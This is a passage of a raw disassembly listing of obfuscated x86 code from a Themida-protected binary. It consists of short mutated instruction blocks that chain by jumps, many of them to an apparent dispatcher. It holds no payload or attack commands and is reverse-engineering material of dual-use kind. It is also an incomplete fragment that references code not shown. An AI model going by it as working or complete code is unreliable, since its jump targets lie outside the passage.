; CODE XREF: Themida_:00564BC1j mov [esp], ebx mov ebx, esp jmp loc_55C7D6 ; --------------------------------------------------------------------------- loc_5567CB: ; CODE XREF: Themida_:00554247j push esi mov esi, 1A5847B2h jmp loc_5618E5 ; --------------------------------------------------------------------------- loc_5567D6: ; CODE XREF: Themida_:005589E8j pop ecx jmp loc_5549D4 ; --------------------------------------------------------------------------- loc_5567DC: ; CODE XREF: Themida_:00556B2Cj add edi, 4 jmp loc_55A765 ; --------------------------------------------------------------------------- loc_5567E7: ; CODE XREF: Themida_:00563A41j push edi mov edi, 4 sub edx, edi pop edi xchg edx, [esp] jmp loc_55EF33 ; --------------------------------------------------------------------------- loc_5567F8: ; CODE XREF: Themida_:00565C08j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor bl, al jmp loc_56304B ; --------------------------------------------------------------------------- loc_55680F: ; CODE XREF: Themida_:0055CAC1j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5610BE ; --------------------------------------------------------------------------- loc_55681F: ; CODE XREF: Themida_:00554CF8j push 4322h mov [esp], ebx sub esp, 4 jmp loc_556D89 ; --------------------------------------------------------------------------- loc_556832: ; CODE XREF: Themida_:00563B64j jmp loc_550420 ; --------------------------------------------------------------------------- loc_556837: ; CODE XREF: Themida_:00555F61j mov [esp], ebp jmp loc_560975 ; --------------------------------------------------------------------------- loc_55683F: ; CODE XREF: Themida_:005514F9j mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, 20EA665Ch add eax, ebx add eax, 20EA665Ch jmp loc_559153 ; --------------------------------------------------------------------------- loc_55685D: ; CODE XREF: Themida_:0055DD6Dj not dword ptr [esp] pop ebp sub esp, 4 mov [esp], eax push ebp mov ebp, 51BF4A43h mov eax, 289F1D5h add eax, ebp pop ebp and eax, 46982419h jmp loc_562766 ; --------------------------------------------------------------------------- loc_55687F: ; CODE XREF: Themida_:0055B3E9j sub ebp, 2E1B1BA9h pop edx push 70D7h mov [esp], ecx jmp loc_5597ED ; --------------------------------------------------------------------------- loc_556893: ; CODE XREF: Themida_:00563EABj push ebx mov ebx, 18DC249Dh sub eax, 67541AF8h add eax, ebx add eax, 67541AF8h pop ebx jmp loc_55E9DB ; --------------------------------------------------------------------------- loc_5568AB: ; CODE XREF: Themida_:005641D1j sub ebp, 0D38154A6h sub ebx, ebp pop ebp sub ebx, 60AA7FE9h jmp loc_560798 ; --------------------------------------------------------------------------- loc_5568BF: ; CODE XREF: Themida_:00560DAAj push edi mov edi, 439A5EF2h jmp loc_5591F6 ; --------------------------------------------------------------------------- loc_5568CA: ; CODE XREF: Themida_:00558283j and edx, 208167C5h not edx sub edx, 9D5AB460h mov edi, edx jmp loc_5649D4 ; --------------------------------------------------------------------------- loc_5568DF: ; CODE XREF: Themida_:00557418j add esp, 4 mul ecx jmp loc_552B74 ; --------------------------------------------------------------------------- loc_5568EC: ; CODE XREF: Themida_:00558963j mov bh, 0Fh add al, bh pop ebx add al, bh jmp loc_55A4DA ; --------------------------------------------------------------------------- loc_5568F8: ; CODE XREF: Themida_:0055FE89j xchg edx, [esp] pop esp sub esp, 4 jmp loc_55302B ; --------------------------------------------------------------------------- loc_556907: ; CODE XREF: Themida_:005520E9j pop ebp push 5A6Fh mov [esp], ecx push 24h mov ecx, [esp] add esp, 4 sub ecx, 1D17744Eh sub ecx, 36090BAEh add ecx, edi add ecx, 36090BAEh jmp loc_553AE8 ; --------------------------------------------------------------------------- loc_556937: ; CODE XREF: Themida_:00564499j mov [esp], ax jmp loc_550420 ; --------------------------------------------------------------------------- loc_556940: ; CODE XREF: Themida_:005642FCj push 26907E6Bh jmp loc_5616F9 ; --------------------------------------------------------------------------- loc_55694A: ; CODE XREF: Themida_:005567BCj xor [esp], esi xor esi, [esp] pop esp imul cx push 434Bh jmp loc_55735B ; --------------------------------------------------------------------------- loc_55695E: ; CODE XREF: Themida_:00558D9Bj mov eax, 496B25BFh jmp loc_557FD2 ; --------------------------------------------------------------------------- lodsd push edx jmp loc_554344 ; --------------------------------------------------------------------------- loc_55696F: ; CODE XREF: Themida_:00554AB4j push ecx jmp loc_554CAB ; --------------------------------------------------------------------------- loc_556975: ; CODE XREF: Themida_:005614C8j push ebp mov ebp, 0 sub ebp, ebx push ebp add dword ptr [esp], 32EF4B87h pop ebx sub ebx, 32EF4B87h pop ebp push edx mov edx, 600379CCh jmp loc_565379 ; --------------------------------------------------------------------------- loc_556998: ; CODE XREF: Themida_:005655A9j add edi, 4 jmp loc_554332 ; --------------------------------------------------------------------------- loc_5569A3: ; CODE XREF: Themida_:00562B23j sub al, bl add al, 7Dh jmp loc_564A1F ; --------------------------------------------------------------------------- loc_5569AC: ; CODE XREF: Themida_:00563B39j add eax, 31110B20h sub eax, ebp sub eax, 31110B20h sub eax, 7F8D4AD6h pop ebp add eax, 17197C37h add eax, esi sub eax, 17197C37h add eax, 24FD400Dh mov esi, [esp] jmp loc_55AB14 ; --------------------------------------------------------------------------- loc_5569D7: ; CODE XREF: Themida_:005588D4j pop dword ptr [esp] mov esp, [esp] jmp loc_55A245 ; --------------------------------------------------------------------------- loc_5569E2: ; CODE XREF: Themida_:0055D280j add eax, 4 jmp loc_55A4A4 ; --------------------------------------------------------------------------- loc_5569EA: ; CODE XREF: Themida_:0055846Aj push 0 sub dword ptr [esp], 5FB12F9Ch sub [esp], esi jmp loc_55CF8F ; --------------------------------------------------------------------------- loc_5569FE: ; CODE XREF: Themida_:005637F5j pop ecx xchg ebp, [esp] mov esp, [esp] push 0A5Dh mov [esp], eax push esp pop eax add eax, 4 sub esp, 4 jmp loc_563870 ; --------------------------------------------------------------------------- loc_556A1F: ; CODE XREF: Themida_:0055A4DCj pop bx jmp loc_559EF5 ; --------------------------------------------------------------------------- loc_556A26: ; CODE XREF: Themida_:005585B8j push 29C72292h mov ebp, [esp] add esp, 4 xor ebp, 58FC3E12h mov ecx, ebp pop ebp xor ecx, 7AAB46D3h push esi push edx mov edx, ecx mov esi, edx pop edx mov eax, esi pop esi pop ecx not eax add eax, 5F7E6CF3h neg eax xor eax, 678241EFh sub esi, eax jmp loc_56511C ; --------------------------------------------------------------------------- loc_556A60: ; CODE XREF: Themida_:0055AF12j push ecx push esi mov esi, 0B32356Ch mov ecx, 52864FE5h xor ecx, esi mov esi, [esp] add esp, 4 jmp loc_553360 ; --------------------------------------------------------------------------- loc_556A79: ; CODE XREF: Themida_:005526BAj xor ebp, [esp] jmp loc_55BD3B ; --------------------------------------------------------------------------- loc_556A81: ; CODE XREF: Themida_:00558268j mov ecx, 5AAD11C9h jmp loc_55E054 ; --------------------------------------------------------------------------- loc_556A8B: ; CODE XREF: Themida_:005572A5j add edi, eax push edx mov edx, 57F874CDh jmp loc_553A9A ; --------------------------------------------------------------------------- loc_556A98: ; CODE XREF: Themida_:00559CEFj pop edx add eax, edx pop edx push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_565992 ; --------------------------------------------------------------------------- loc_556AB6: ; CODE XREF: Themida_:00565117j push ebx mov ebx, 61771512h sub ebx, 10BE5783h dec ebx sub ebx, 0FFFFFFFFh jmp loc_560E84 ; --------------------------------------------------------------------------- loc_556ACB: ; CODE XREF: Themida_:0055497Ej add ebp, 48B44A75h sub ebp, edx sub ebp, 48B44A75h jmp loc_564520 ; --------------------------------------------------------------------------- loc_556ADE: ; CODE XREF: Themida_:0055E8D8j add edi, 3E3A4A94h shl edi, 2 add edi, 0A1867434h add ebp, edi jmp loc_5532C5 ; --------------------------------------------------------------------------- loc_556AF4: ; CODE XREF: Themida_:00562005j add [esp+4], edx pop edx jmp loc_563E2E ; --------------------------------------------------------------------------- loc_556AFE: ; CODE XREF: Themida_:00557284j add esp, 4 push esi mov esi, 59AB3E48h add esi, 589D61EFh xor esi, 0B248A033h add ecx, esi jmp loc_562483 ; --------------------------------------------------------------------------- loc_556B1A: ; CODE XREF: Themida_:00561AE0j xor edx, 1A4597E0h mov eax, edx jmp loc_552228 ; --------------------------------------------------------------------------- loc_556B27: ; CODE XREF: Themida_:0055131Cj sub al, bl push edi push esp pop edi jmp loc_5567DC ; --------------------------------------------------------------------------- loc_556B31: ; CODE XREF: Themida_:0055A895j not ch push dx jmp loc_5651A0 ; --------------------------------------------------------------------------- loc_556B3A: ; CODE XREF: Themida_:00561954j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_552541 ; --------------------------------------------------------------------------- loc_556B4B: ; CODE XREF: Themida_:0055C8B4j pop ebx jmp loc_55F05D ; --------------------------------------------------------------------------- loc_556B51: ; CODE XREF: Themida_:00559FAFj xor esi, 3264651Eh add ebp, esi mov esi, [esp] add esp, 4 jmp loc_5641CB ; --------------------------------------------------------------------------- loc_556B67: ; CODE XREF: Themida_:0055605Ej mov eax, 0 sub eax, ecx push eax pop ecx pop eax push edx mov edx, 2D1D1381h xor ecx, edx pop edx sub ecx, 5AC882FEh mov edx, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_559C89 ; --------------------------------------------------------------------------- loc_556B9A: ; CODE XREF: Themida_:005623D8j push dword ptr [esp] jmp loc_5520EE ; --------------------------------------------------------------------------- loc_556BA2: ; CODE XREF: Themida_:0055B431j mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 jmp loc_55A617 ; --------------------------------------------------------------------------- loc_556BB6: ; CODE XREF: Themida_:005521DFj jmp loc_550420 ; --------------------------------------------------------------------------- loc_556BBB: ; CODE XREF: Themida_:00552FB2j mov al, 72h or al, 0D3h jmp loc_55B4BE ; --------------------------------------------------------------------------- loc_556BC4: ; CODE XREF: Themida_:00563C51j push 154Dh jmp loc_5521F7 ; --------------------------------------------------------------------------- loc_556BCE: ; CODE XREF: Themida_:0055DCB0j pop ebx add eax, esi push ebp mov ebp, 1D22678h add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 88344D6h push dword ptr [esp] pop esi jmp loc_553196 ; --------------------------------------------------------------------------- loc_556BF0: ; CODE XREF: Themida_:00557D1Bj push eax push esp push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_55DF9A ; --------------------------------------------------------------------------- loc_556C00: ; CODE XREF: Themida_:0055147Ej mov [esp], edi mov edi, 124313D3h shr edi, 2 push ebx mov ebx, 1BF81107h xor edi, ebx pop ebx shr edi, 2 inc edi add edi, 787D410h jmp loc_565598 ; --------------------------------------------------------------------------- loc_556C23: ; CODE XREF: Themida_:0055BBF5j push edx mov edx, 2CE13331h mov edi, edx pop edx jmp loc_555160 ; --------------------------------------------------------------------------- loc_556C31: ; CODE XREF: Themida_:00558A23j mov cl, 3 push eax jmp loc_55D063 ; --------------------------------------------------------------------------- loc_556C39: ; CODE XREF: Themida_:0055D08Aj pop ebx mov [edi+28h], cl push dword ptr [esp] jmp loc_55F5CC ; --------------------------------------------------------------------------- loc_556C45: ; CODE XREF: Themida_:00564D95j mov ebp, esp jmp loc_553336 ; --------------------------------------------------------------------------- loc_556C4C: ; CODE XREF: Themida_:00564F3Ej push ebx mov ebx, esp jmp loc_5570B5 ; --------------------------------------------------------------------------- loc_556C54: ; CODE XREF: Themida_:00561700j mov ebp, ecx pop ecx shr ebp, 7 xor ebp, 51ACDAh sub esi, ebp push dword ptr [esp] pop ebp jmp loc_554138 ; --------------------------------------------------------------------------- loc_556C6B: ; CODE XREF: Themida_:0055ECF3j sub edi, 1CA1577Ah pop ebx add edi, 4 jmp loc_55CAE3 ; --------------------------------------------------------------------------- mov edx, [esp] jmp loc_55624E ; --------------------------------------------------------------------------- loc_556C85: ; CODE XREF: Themida_:0055BECAj mov [esp], ecx mov ecx, 2B7A7632h push edx mov edx, 47046A27h or edx, 5BF4284Ch add edx, 36384687h add edx, 92128119h sub ecx, edx pop edx or ecx, 7B2B5BB4h neg ecx xor ecx, 0D79DC1E7h xor ebx, ecx pop ecx sub ebx, 525900C5h add edx, ebx mov ebx, [esp] add esp, 4 push edi mov edi, 4 add edx, edi jmp loc_55E0A8 ; --------------------------------------------------------------------------- loc_556CD4: ; CODE XREF: Themida_:005544E9j not ebx add ebx, 61235Fh jmp loc_551FB2 ; --------------------------------------------------------------------------- loc_556CE1: ; CODE XREF: Themida_:0055168Ej mov edx, [esp] add esp, 4 jmp loc_563BA0 ; --------------------------------------------------------------------------- loc_556CEF: ; CODE XREF: Themida_:005585D3j jmp loc_550420 ; --------------------------------------------------------------------------- loc_556CF4: ; CODE XREF: Themida_:0055E5F9j push esi mov esi, esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, 157E1265h push edx push 57AF1352h pop edx sub eax, edx pop edx add eax, 135A510Bh push edx jmp loc_55C6FE ; --------------------------------------------------------------------------- loc_556D27: ; CODE XREF: Themida_:0055326Ej push ebx push esp mov ebx, [esp] add esp, 4 push esi push eax mov eax, 10B07D24h mov esi, eax pop eax neg esi shr esi, 4 inc esi inc esi add esi, 0F10B07D5h sub ebx, 5D9A11E6h add ebx, esi add ebx, 5D9A11E6h pop esi jmp loc_56286D ; --------------------------------------------------------------------------- loc_556D5D: ; CODE XREF: Themida_:00554322j push edi push esp pop edi sub esp, 4 mov [esp], esi mov esi, 4 sub esp, 4 mov [esp], edx mov edx, 40655A4Eh sub edi, edx pop edx add edi, esi sub esp, 4 mov [esp], ecx jmp loc_55B0A3 ; --------------------------------------------------------------------------- loc_556D89: ; CODE XREF: Themida_:0055682Dj mov [esp], eax jmp loc_560264 ; --------------------------------------------------------------------------- loc_556D91: ; CODE XREF: Themida_:005531F3j mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi pop dword ptr [esp] push 7BABh jmp loc_55FE1E ; --------------------------------------------------------------------------- loc_556DAC: ; CODE XREF: Themida_:00554087j add ebx, 5BA8043Eh add ebx, esi sub ebx, 5BA8043Eh pop esi movzx ax, byte ptr [eax] push small 2639h mov [esp], ax jmp loc_55309A ; --------------------------------------------------------------------------- loc_556DCC: ; CODE XREF: Themida_:0055B02Fj add esp, 4 push ebx jmp loc_565787 ; --------------------------------------------------------------------------- loc_556DD8: ; CODE XREF: Themida_:00551DBBj add [esp+4], eax push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_555852 ; --------------------------------------------------------------------------- loc_556DF4: ; CODE XREF: Themida_:0055E622j sub esi, 0FFFFFFFFh and esi, 2C121309h add esi, 57A95AFFh push eax mov eax, 0D89F87A9h add esi, eax pop eax sub ecx, 1085D4Ah add ecx, esi add ecx, 1085D4Ah jmp loc_559AAE ; --------------------------------------------------------------------------- loc_556E22: ; CODE XREF: Themida_:0055666Bj xor esi, ecx mov ecx, [esp] add esp, 4 jmp loc_5563E4 ; --------------------------------------------------------------------------- loc_556E2F: ; CODE XREF: Themida_:005597A7j not eax xor eax, 2AF060FBh sub esi, eax jmp loc_55A820 ; --------------------------------------------------------------------------- loc_556E3D: ; CODE XREF: Themida_:0055A240j mov [esp], edx mov edx, 6554C0Fh xor esi, edx pop edx jmp loc_55287B ; --------------------------------------------------------------------------- loc_556E4D: ; CODE XREF: Themida_:00553331j mov ecx, esp push ebx push esi mov esi, 1AF43CEFh mov ebx, 0E50BC315h add ebx, esi pop esi add ecx, ebx pop ebx jmp loc_559447 ; --------------------------------------------------------------------------- loc_556E66: ; CODE XREF: Themida_:00559351j push 35A2h mov [esp], ebx jmp loc_565168 ; --------------------------------------------------------------------------- loc_556E73: ; CODE XREF: Themida_:0055F26Aj pop ecx jmp loc_558514 ; --------------------------------------------------------------------------- loc_556E79: ; CODE XREF: Themida_:00555BA9j push dword ptr [esp+4] jmp loc_555640 ; --------------------------------------------------------------------------- loc_556E82: ; CODE XREF: Themida_:005588DFj add edx, ebx add edx, 190D3107h sub edx, 41514422h mov ebx, [esp] push eax push esp pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push ebx mov ebx, 6EE24609h jmp loc_553DAE ; --------------------------------------------------------------------------- loc_556EB5: ; CODE XREF: Themida_:00550F8Bj pop eax jmp loc_55282B ; --------------------------------------------------------------------------- loc_556EBB: ; CODE XREF: Themida_:005523ABj test ecx, eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_556EC3: ; CODE XREF: Themida_:0055B31Bj add esp, 4 jmp loc_555173 ; --------------------------------------------------------------------------- loc_556ECB: ; CODE XREF: Themida_:005571FAj push ecx mov cl, bh mov dh, cl pop ecx push 24BBh mov [esp], eax mov al, dh mov ch, al pop eax pop edx mov ebx, [esp] jmp loc_55F8EE ; --------------------------------------------------------------------------- loc_556EE7: ; CODE XREF: Themida_:0055333Fj push ebp push dword ptr [esp+4] jmp loc_55D8BD ; --------------------------------------------------------------------------- loc_556EF1: ; CODE XREF: Themida_:0055EFCCj add esp, 4 add edx, 32426CC6h pop ebx add ebx, 44717C5Ch sub ebx, 610856B7h jmp loc_554D8E ; --------------------------------------------------------------------------- loc_556F0C: ; CODE XREF: Themida_:005540C9j push ebx push edx mov edx, 25CF4C0Ah and edx, 380923CBh sub edx, 10D85611h add edx, 96D7AD5h jmp loc_552BC0 ; --------------------------------------------------------------------------- loc_556F2A: ; CODE XREF: Themida_:0055E145j sub ah, 8Ah jmp loc_555580 ; --------------------------------------------------------------------------- loc_556F32: ; CODE XREF: Themida_:00565621j push edx sub esp, 4 jmp loc_55F6D1 ; --------------------------------------------------------------------------- loc_556F3B: ; CODE XREF: Themida_:0055C810j pop ecx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5590C7 ; --------------------------------------------------------------------------- loc_556F4E: ; CODE XREF: Themida_:00555A5Cj add esi, ebx jmp loc_556798 ; --------------------------------------------------------------------------- loc_556F55: ; CODE XREF: Themida_:005594A8j push dword ptr [esp] pop eax push 682Bh jmp loc_5656DB ; --------------------------------------------------------------------------- loc_556F63: ; CODE XREF: Themida_:0055AE2Dj pop ebp pop dword ptr [esp] mov esp, [esp] div cl movzx cx, ah push small 487Fh mov [esp], cx movzx cx, al push cx pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_556F84: ; CODE XREF: Themida_:005654A6j sub edx, ecx jmp loc_55E88F ; --------------------------------------------------------------------------- loc_556F8B: ; CODE XREF: Themida_:0055BC34j sub eax, ecx jmp loc_55DD35 ; --------------------------------------------------------------------------- loc_556F92: ; CODE XREF: Themida_:00564076j push eax push 7D2h mov [esp], edx mov dl, bl push ecx mov cl, dl mov ah, cl pop ecx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 mov ch, ah pop eax pop ebx mov [eax], ch push dword ptr [esp] pop ecx push ebp mov ebp, esp jmp loc_55403F ; --------------------------------------------------------------------------- loc_556FC1: ; CODE XREF: Themida_:005655FCj push ebx mov bl, 29h add bl, 0A7h not bl xor bl, 90h add dl, bl pop ebx push ecx jmp loc_55F8A5 ; --------------------------------------------------------------------------- loc_556FD5: ; CODE XREF: Themida_:0055CE6Dj add ebp, 4 sub ebp, 4 jmp loc_55A23C ; --------------------------------------------------------------------------- loc_556FE3: ; CODE XREF: Themida_:0055E9F1j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_565116 ; --------------------------------------------------------------------------- loc_556FF9: ; CODE XREF: Themida_:0055763Fj add ebp, 13FE16B6h xor ebp, 64A15273h add ebx, ebp pop ebp xchg ebx, [esp] jmp loc_562948 ; --------------------------------------------------------------------------- loc_557010: ; CODE XREF: Themida_:00560ED4j xor edi, 3CF41596h add eax, edi mov edi, [esp] jmp loc_55734B ; --------------------------------------------------------------------------- loc_557020: ; CODE XREF: Themida_:00561E82j add esp, 4 push esi mov esi, 4 add ebx, esi mov esi, [esp] add esp, 4 xchg ebx, [esp] pop esp push ebx mov ebx, esp jmp loc_550C0A ; --------------------------------------------------------------------------- loc_557040: ; CODE XREF: Themida_:00561E71j mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_557048: ; CODE XREF: Themida_:0055ACD7j sub edx, 4EE97163h inc edx add edx, 0BAADCF7Fh add ebp, edx pop edx jmp loc_56112A ; --------------------------------------------------------------------------- loc_55705D: ; CODE XREF: Themida_:00557B22j mov eax, 4 sub ecx, eax pop eax xchg ecx, [esp] pop esp mov [esp], ecx push esp pop ecx push edi mov edi, 51174768h jmp loc_555955 ; --------------------------------------------------------------------------- loc_557079: ; CODE XREF: Themida_:00552C65j mov [esp], ebx not dword ptr [esp] pop ebx add ebx, 0A9C55EBh push edi mov edi, 0F3040B8h and edi, 2F044E6Ah push ecx push eax mov eax, 133F7715h mov ecx, eax pop eax jmp loc_551BBD ; --------------------------------------------------------------------------- loc_5570A1: ; CODE XREF: Themida_:005618F0j mov ebx, [esp] add esp, 4 push edi mov edi, 2 jmp loc_555400 ; --------------------------------------------------------------------------- loc_5570B5: ; CODE XREF: Themida_:00556C4Fj add ebx, 4 jmp loc_55DF5E ; --------------------------------------------------------------------------- loc_5570C0: ; CODE XREF: Themida_:00553265j xor al, dl push dword ptr [esp] jmp loc_565C04 ; --------------------------------------------------------------------------- loc_5570CA: ; CODE XREF: Themida_:00551EA9j sub edx, 2E787DA9h sub edx, eax add edx, 2E787DA9h mov eax, [esp] add esp, 4 sub edx, 72D66A05h sub esp, 4 jmp loc_553FE2 ; --------------------------------------------------------------------------- loc_5570EF: ; CODE XREF: Themida_:00562502j add esp, 4 push edi mov edi, 0AD83B02h and edi, 6B02BEEh shr edi, 8 sub edi, 586B604Fh sub edi, 0A7972FD8h add ebp, edi pop edi jmp loc_563C95 ; --------------------------------------------------------------------------- loc_557118: ; CODE XREF: Themida_:0055FE81j and eax, ebx pop ebx add eax, 12E82338h add ebx, eax jmp loc_5655BC ; --------------------------------------------------------------------------- loc_557127: ; CODE XREF: Themida_:00551B62j sub eax, 150921EFh jmp loc_55AD89 ; --------------------------------------------------------------------------- loc_557131: ; CODE XREF: Themida_:00555FE6j mov [esp], edi mov edi, 4F446483h jmp loc_55FB17 ; --------------------------------------------------------------------------- loc_55713E: ; CODE XREF: Themida_:0055AE60j pop esi and ecx, edi pop edi shr ecx, 6 push 61FBh jmp loc_5606A7 ; --------------------------------------------------------------------------- loc_55714F: ; CODE XREF: Themida_:005615BAj sub esi, ebp pop ebp neg esi xor esi, 0D2AA8F6Bh add ecx, esi jmp loc_554A41 ; --------------------------------------------------------------------------- loc_557161: ; CODE XREF: Themida_:0055FEFDj add ecx, ebp mov ebp, [esp] add esp, 4 push ecx jmp loc_559F55 ; --------------------------------------------------------------------------- loc_55716F: ; CODE XREF: Themida_:0055D484j pop ebp and ebp, 3EB51B5Ah sub ebp, 26A027BEh sub ebp, 0C303541Eh jmp loc_5616A5 ; --------------------------------------------------------------------------- loc_557187: ; CODE XREF: Themida_:00551EFDj pop esp mov [esp], edx jmp loc_565BAF ; --------------------------------------------------------------------------- loc_557190: ; CODE XREF: Themida_:00551F28j mov cl, 0DFh add al, cl jmp loc_55E759 ; --------------------------------------------------------------------------- loc_557199: ; CODE XREF: Themida_:00564999j pop edi push esi push edi jmp loc_551B78 ; --------------------------------------------------------------------------- loc_5571A1: ; CODE XREF: Themida_:00561207j xor ebx, 14E1F8B4h not ebx push 73D8h mov [esp], edx mov edx, 0FFFFFFFFh sub ebx, edx pop edx xor ebx, 0D201A7F4h sub ecx, 1CE22866h add ecx, ebx add ecx, 1CE22866h jmp loc_552B44 ; --------------------------------------------------------------------------- loc_5571D2: ; CODE XREF: Themida_:0056351Aj add byte ptr [esp], 0BDh mov dl, [esp] add esp, 4 jmp loc_553262 ; --------------------------------------------------------------------------- loc_5571E1: ; CODE XREF: Themida_:0056506Bj push 1D9Ah mov [esp], eax push edx mov dl, bh push ebx mov bl, dl mov al, bl pop ebx jmp loc_552BB7 ; --------------------------------------------------------------------------- loc_5571F7: ; CODE XREF: Themida_:0055C958j mov [esp], edx jmp loc_556ECB ; --------------------------------------------------------------------------- loc_5571FF: ; CODE XREF: Themida_:0055778Bj not edx inc edx jmp loc_557740 ; --------------------------------------------------------------------------- loc_557207: ; CODE XREF: Themida_:0055739Bj push edx mov edx, 66F25036h jmp loc_565AF4 ; --------------------------------------------------------------------------- loc_557212: ; CODE XREF: Themida_:005611DAj pop ebx sub esp, 4 mov [esp], ebx push 62594773h pop ebx jmp loc_556078 ; --------------------------------------------------------------------------- loc_557227: ; CODE XREF: Themida_:0055BF6Fj add edx, 655E2478h pop eax xchg edx, [esp] mov esp, [esp] mov ax, [esp] push 7887h jmp loc_5647D2 ; --------------------------------------------------------------------------- loc_557242: ; CODE XREF: Themida_:00559258j pop edx push ebx push edi mov edi, 773528C6h mov ebx, 0BD352921h add ebx, edi jmp loc_55EF1E ; --------------------------------------------------------------------------- loc_557256: ; CODE XREF: Themida_:00557333j pop ecx jmp loc_560B91 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx sub esp, 4 mov [esp], esp push 1CD5h mov [esp], ebp mov ebp, 4 add [esp+4], ebp mov ebp, [esp] add esp, 4 mov ecx, [esp] jmp loc_556AFE ; --------------------------------------------------------------------------- loc_557289: ; CODE XREF: Themida_:00563F3Cj add esp, 4 add ecx, 90A3277h jmp loc_555836 ; --------------------------------------------------------------------------- loc_55729A: ; CODE XREF: Themida_:00554258j mov eax, 4 sub edi, 7DD744E2h jmp loc_556A8B ; --------------------------------------------------------------------------- loc_5572AA: ; CODE XREF: Themida_:00559EF0j add edi, eax add edi, 759128F9h mov eax, [esp] add esp, 4 sub edi, 2 xchg edi, [esp] mov esp, [esp] mov [esp], di push small word ptr [esp+2] pop di pop small word ptr [esp] jmp loc_55ACDC ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_563DBA ; --------------------------------------------------------------------------- loc_5572E0: ; CODE XREF: Themida_:00555263j add ecx, 4 jmp loc_55ADD1 ; --------------------------------------------------------------------------- loc_5572EB: ; CODE XREF: Themida_:0055E807j pop ebx sub esi, 0E93BF5EFh add eax, 5E8F7E87h push edx mov edx, 150921EFh add eax, edx jmp loc_551B5A ; --------------------------------------------------------------------------- loc_557304: ; CODE XREF: Themida_:005556D9j add [esp+4], ebx add dword ptr [esp+4], 11F5200Ah jmp loc_56171C ; --------------------------------------------------------------------------- loc_557315: ; CODE XREF: Themida_:005581D6j xor edi, [esp] jmp loc_565C53 ; --------------------------------------------------------------------------- loc_55731D: ; CODE XREF: Themida_:00554C5Dj xor esi, [esp] jmp loc_55FFCD ; --------------------------------------------------------------------------- loc_557325: ; CODE XREF: Themida_:0055241Dj add esp, 4 push eax mov ah, 0C5h sub cl, ah pop eax mov bl, cl push dword ptr [esp] jmp loc_557256 ; --------------------------------------------------------------------------- loc_557338: ; CODE XREF: Themida_:005553E3j pop eax xor dl, 0BAh add al, dl mov edx, [esp] add esp, 4 add al, 9Dh jmp loc_5541F1 ; --------------------------------------------------------------------------- loc_55734B: ; CODE XREF: Themida_:0055701Bj add esp, 4 sub eax, 0A21AD6h jmp loc_5518E4 ; --------------------------------------------------------------------------- loc_55735B: ; CODE XREF: Themida_:00556959j mov [esp], ebp mov ebp, esp push edx push eax mov eax, 295F2334h xor eax, 0E5E1F85h mov edx, eax jmp loc_55D541 ; --------------------------------------------------------------------------- loc_557373: ; CODE XREF: Themida_:0055EA14j pop edi sub eax, 25105983h sub eax, 57C831FEh sub eax, ebp add eax, 57C831FEh push edx mov edx, 25105983h add eax, edx pop edx add eax, 76D83573h pop ebp push ecx push ebx mov ebx, 62BD131Fh jmp loc_557207 ; --------------------------------------------------------------------------- loc_5573A0: ; CODE XREF: Themida_:0055A497j sub eax, 0DD85427h jmp loc_56051A ; --------------------------------------------------------------------------- loc_5573AA: ; CODE XREF: Themida_:0055971Fj add esi, 4 jmp loc_553138 ; --------------------------------------------------------------------------- loc_5573B5: ; CODE XREF: Themida_:00561856j add ebx, ecx add ebx, 4E7E18C0h pop ecx xchg ebx, [esp] mov esp, [esp] movsx ecx, ax push ebx mov ebx, esp sub esp, 4 jmp loc_551B49 ; --------------------------------------------------------------------------- loc_5573D2: ; CODE XREF: Themida_:0055FEA8j mov edx, ebx pop ebx mov edi, [esp] add esp, 4 add ebx, edx pop edx jmp loc_55E122 ; --------------------------------------------------------------------------- loc_5573E3: ; CODE XREF: Themida_:0055D18Dj pop esp jmp loc_555FF1 ; --------------------------------------------------------------------------- loc_5573E9: ; CODE XREF: Themida_:00558FE6j dec dl xor dl, 51h jmp loc_5650E7 ; --------------------------------------------------------------------------- loc_5573F3: ; CODE XREF: Themida_:005581A3j add edi, ecx jmp loc_562E03 ; --------------------------------------------------------------------------- loc_5573FA: ; CODE XREF: Themida_:0055AE59j dec ebp add ebp, 43CF5566h or ebp, 19A051CFh sub ebp, 1FB5280Ah or ecx, ebp pop ebp jmp loc_553720 ; --------------------------------------------------------------------------- loc_557415: ; CODE XREF: Themida_:00564EC2j mov esp, [esp] jmp loc_5568DF ; --------------------------------------------------------------------------- loc_55741D: ; CODE XREF: Themida_:00565AA0j add ebx, edx add ebx, 37AC292Dh mov edx, [esp] jmp loc_55F533 ; --------------------------------------------------------------------------- loc_55742D: ; CODE XREF: Themida_:005640DEj add esp, 4 jmp loc_55E72B ; --------------------------------------------------------------------------- loc_557435: ; CODE XREF: Themida_:00554E87j add ebp, ebx pop ebx add ebp, 4 jmp loc_5619B1 ; --------------------------------------------------------------------------- loc_557440: ; CODE XREF: Themida_:0055F13Dj add ebx, 4 xchg ebx, [esp] jmp loc_55EF44 ; --------------------------------------------------------------------------- loc_55744B: ; CODE XREF: Themida_:005629A9j push ecx mov ecx, 408E0501h neg ecx and ecx, 0F992D88h jmp loc_55C50E ; --------------------------------------------------------------------------- loc_55745E: ; CODE XREF: Themida_:0055993Dj push ecx mov ecx, esp jmp loc_55BEE6 ; 